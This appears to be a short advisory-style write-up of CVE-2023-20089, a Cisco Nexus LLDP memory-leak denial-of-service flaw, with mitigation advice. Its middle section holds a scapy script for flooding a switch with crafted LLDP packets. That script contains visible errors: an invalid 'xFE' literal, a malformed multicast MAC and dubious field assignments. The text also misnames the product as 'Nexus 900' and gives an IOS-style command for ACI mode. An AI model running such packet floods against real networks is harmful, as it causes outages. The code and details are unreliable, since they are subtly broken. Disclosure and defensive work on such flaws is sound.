CVE-2023-20089: Memory Leak Vulnerability in Cisco Nexus 900 Series Fabric Switches Due to Improper LLDP Packet Handling

A critical vulnerability (CVE-2023-20089) has been discovered in the Link Layer Discovery Protocol (LLDP) feature of Cisco Nexus 900 Series Fabric Switches operating in Application Centric Infrastructure (ACI) Mode. This vulnerability could potentially allow an unauthenticated, adjacent attacker to cause a memory leak in the affected device, leading to an unexpected reload and a subsequent denial of service (DoS) condition.

Original References

- Cisco Security Advisory
- CVE-2023-20089

Vulnerability Details

The vulnerability exists due to improper error checking when parsing incoming LLDP packets in the affected Cisco switch. An attacker could exploit this vulnerability by sending a continuous stream of maliciously crafted LLDP packets to the targeted device.

Below is a code snippet demonstrating how an attacker might craft such malicious LLDP packets

import scapy.all as scapy

def create_malicious_lldp_packet():
    # Craft a malicious LLDP packet with invalid TLV type
    lldp_packet = scapy.LLDPDU()
    lldp_packet.type = xFE
    lldp_packet.len = 8
    lldp_packet.value = b'\x00' * 8

    # Create the complete malicious packet for sending
    malicious_packet = scapy.Ether(src="<attacker_mac>", dst="01:80:c2:00:00:e") / lldp_packet
    return malicious_packet

malicious_packet = create_malicious_lldp_packet()
scapy.sendp(malicious_packet, iface="<attacker_interface>")

Note that the attacker must be in the same broadcast domain (Layer 2 adjacent) and target a directly connected interface of the affected Cisco Nexus 900 Series Fabric Switch. Transit traffic through the device cannot be utilized to exploit this vulnerability.

Mitigation and Recommendations

Affected users should apply the patch provided by Cisco to remediate this vulnerability.

To reduce the attack surface, it is recommended to disable LLDP on interfaces where it is not required. This can be done by executing the following command on the affected switch:

(config)# no lldp run

In addition, security best practices dictate that

- Ensure proper network segmentation to minimize the potential impact of unauthorized access to sensitive systems.

Implement access control lists (ACLs) to restrict access to critical network resources.

To summarize, administrators of Cisco Nexus 900 Series Fabric Switches should be aware of this newly discovered memory leak vulnerability (CVE-2023-20089) and apply the appropriate mitigations to protect their devices and network infrastructure. Always adhere to industry-standard security best practices and monitor vendor communication channels for any updates on this issue.

Timeline

Published on: 02/23/2023 20:15:00 UTC
Last modified on: 03/07/2023 22:02:00 UTC